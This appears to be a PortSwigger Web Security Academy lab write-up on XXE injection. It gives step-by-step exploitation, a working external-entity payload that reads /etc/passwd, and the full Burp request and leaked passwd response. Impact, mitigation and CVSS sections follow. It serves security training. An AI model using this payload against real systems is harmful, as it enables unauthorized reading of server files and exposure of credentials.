

Exploiting XXE using external entities to retrieve files

Topic: XXE Injection | Difficulty: Apprentice

Description

The stock check feature parses user-supplied XML with external entity processing enabled. By defining a malicious DOCTYPE with an external entity referencing a server-side file path, an attacker can read arbitrary files from the filesystem such as /etc/passwd.

Steps to Exploit

1. Navigate to a product page and click 'Check stock'.
2. Intercept the POST request to /product/stock in Burp Suite.
3. Observe that the request body contains XML.
4. Add a DOCTYPE declaration with an external entity pointing to /etc/passwd.
5. Replace the productId element value with a reference to the entity (&xxe;).
6. Forward the modified request.
7. Observe that the /etc/passwd file contents appear in the response.

Proof of Concept

Injected XML:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

Impact

- Arbitrary file read from the server filesystem.
- Disclosure of /etc/passwd, SSH keys, and application config files.
- Potential exposure of database credentials and API keys.
- Foundation for SSRF and further internal network attacks.

Mitigation / Remediation

1. Disable external entity processing in the XML parser (set FEATURE_EXTERNAL_GENERAL_ENTITIES to false).
2. Use a simpler data format such as JSON where XML is not required.
3. Validate and sanitize all XML input on the server side.
4. Apply the principle of least privilege to web server file access.

CVSS Score

CVSS v3.1: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS Justification

- Attack Vector: Network - exploitable via HTTP POST.
- Attack Complexity: Low - simple DOCTYPE injection.
- Privileges Required: None.
- User Interaction: None.
- Confidentiality: High - full server file read capability.
- Integrity / Availability: None - read-only exploitation.

XXE File Retrieval

Proof of Concept — Exploitation Evidence

1. Burp Suite — Injected Payload & Server Response

The screenshot displays the Burp Suite interface with the 'Repeater' tab selected. The target URL is `https://0ad000fc04ffb34a8091b2a80054002b.web-security-academy.net`. The request is a POST to `/product/stock` with the following headers and body:

```
POST /product/stock HTTP/2
Host: 0ad000fc04ffb34a8091b2a80054002b.web-security-academy.net
Cookie: session=FN09MTxsJx0d8QzFEQwKEgbD9DJ14z
Content-Length: 186
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://0ad000fc04ffb34a8091b2a80054002b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ad000fc04ffb34a8091b2a80054002b.web-security-academy.net/product?productid=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>
    &xxe;
  </productId>
  <storeId>
    1
  </storeId>
</stockCheck>
```

The response is a 400 Bad Request with the following headers and body:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338

{"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:MailListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
peter:x:12001:12001:/home/peter:/bin/bash
carlos:x:12002:12002:/home/carlos:/bin/bash
user:x:12000:12000:/home/user:/bin/bash
elmer:x:12099:12099:/home/elmer:/bin/bash
academy:x:10000:10000:/academy:/bin/bash
messagebus:x:101:101:/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,
,
,
,
/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemdTimeSynchronization,
,
,
,
/run/systemd:/usr/sbin/nologin
}
```

Request intercepted/modified in Burp Suite showing the payload and the resulting response.

2. Lab Solved Confirmation

Lab: Exploiting XXE using external entities to retrieve files

Exploiting XXE using external entities to retrieve files

0ad000fc04ffb34a8091b2a80054002b.web-security-academy.net/product?productid=1

☆

WebSecurity Academy

Exploiting XXE using external entities to retrieve files

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!   Continue learning >>

The Lazy Dog

★★★★☆

\$48.49



Description:

PortSwigger lab status changed to "Solved" after exploitation.